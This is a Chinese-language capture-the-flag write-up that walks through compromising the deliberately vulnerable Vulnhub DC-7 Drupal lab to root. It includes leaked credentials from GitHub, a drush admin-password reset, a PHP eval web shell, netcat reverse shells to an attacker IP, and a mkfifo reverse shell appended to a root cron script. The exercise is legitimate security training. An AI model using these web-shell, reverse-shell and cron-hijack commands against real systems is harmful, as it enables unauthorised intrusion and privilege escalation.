DC-7-Drupal-指令碼檔案提權

NoCirc1e發表於2024-05-04

Vulnhub靶機介紹

Vulnhub是個提供各種漏洞平臺的綜合靶場,可供下載多種虛擬機器進行練習,本地VM開啟即可,像做遊戲一樣去完成滲透測試、提權、漏洞利用、程式碼審計等等有趣的實戰。
靶機DC7還是隻有拿到root許可權才可以發現最終的flag。

01 環境搭建

靶機環境下載:https://www.vulnhub.com/entry/dc-7,356/

DC-7 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
While this isn't an overly technical challenge, it isn't exactly easy.
While it's kind of a logical progression from an earlier DC release (I won't tell you which one), there are some new concepts involved, but you will need to figure those out for yourself. :-) If you need to resort to brute forcing or dictionary attacks, you probably won't succeed.
What you will need to do, is to think "outside" of the box.
Waaaaaay "outside" of the box. :-)
The ultimate goal of this challenge is to get root and to read the one and only flag.

提示只有一個flag並且不需要暴力破解

02 資訊收集

常規掃描

arp-scan -l

image.png

埠掃描

使用nmap對目標靶機開放的埠進行掃描

nmap -Pn -n -sV 192.168.75.159

image.png
開啟了ssh(22埠),web服務(80埠)
web服務是drupal 8
這個CMS和DC-1是一樣的,DC-1是drupal 7這個是drupal 8
image.png

03 Get Shell

根據網站資訊社工

重新檢視題目資訊,發現有一些提示
這個題目源自一個早期版本
image.png
在網站首頁上比以前系列的題目多了一行資訊@DC7USER
image.png
搜尋@DC7USER發現在GitHub上有這個賬戶
image.png
進入後發現一個staffdb專案,在專案中發現一個帶有賬戶資訊的檔案
image.png

<?php
	$servername = "localhost";
	$username = "dc7user";
	$password = "MdR3xOgB7#dW";
	$dbname = "Staff";
	$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

看程式碼是個資料庫賬號,但是目前沒有可以登入資料庫的介面,嘗試用這個賬戶登入web,失敗,登入ssh成功
image.png
image.png

獲得web賬戶

查詢使用者的sudo配置,搜尋suid程式都沒有找到能有效提權的方法
在home目錄下有個mbox檔案,和一些備份檔案
看一下mbox檔案發現在/opt/scripts/ 有個可以執行的指令碼檔案 backups.sh
image.png

cd /opt/scripts/ #進入目錄
cat backups.sh #檢視檔案

image.png
裡面呼叫了drush命令,drush是drupal shell專門管理drupal站點的shell
進入到/var/www/html目錄下,使用drush命令修改admin使用者的密碼為123456

drush user-password admin --password="123456"

image.png
使用admin賬戶登入成功
image.png

反彈shell

需要反彈shell,登入成功後在Content—>Add content–>Basic page下需要新增一個PHP模板
但是這裡好像不支援php只有html,查了查需要單獨安裝外掛讓它支援php語言

https://www.drupal.org/project/php #外掛下載地址
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模組包

image.png
image.png
有個綠色✔就是成功
image.png
image.png
然後在首頁進行編輯,新增php木馬程式碼,儲存text format設定為PHP cod然後使用蟻劍進行連線

<?php
@eval($_REQUEST[8]);
?>

image.png
image.png
然後需要把shell回彈到kali上面

nc 192.168.75.150 4444 -e /bin/sh

開啟監聽nc -lvp 4444回彈成功
設定互動python -c 'import pty;pty.spawn("/bin/bash")'
image.png
image.png

04 提權

在/opt/scripts目錄下的backups.sh指令碼檔案所屬組是www-data,所以www-data使用者可以對這個指令碼檔案進行操作,並且這個指令碼檔案定時執行可以利用它來反彈shell
因為sh檔案是root執行的,所以返回的也是root許可權

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.150 7777 >/tmp/f" >> backups.sh

image.png
image.png
Kali設定nc -lvp 7777
等待定時任務執行,執行後便獲得rootshell,接著進入互動shell

python -c "import pty;pty.spawn('/bin/bash')"

image.png
image.png

相關文章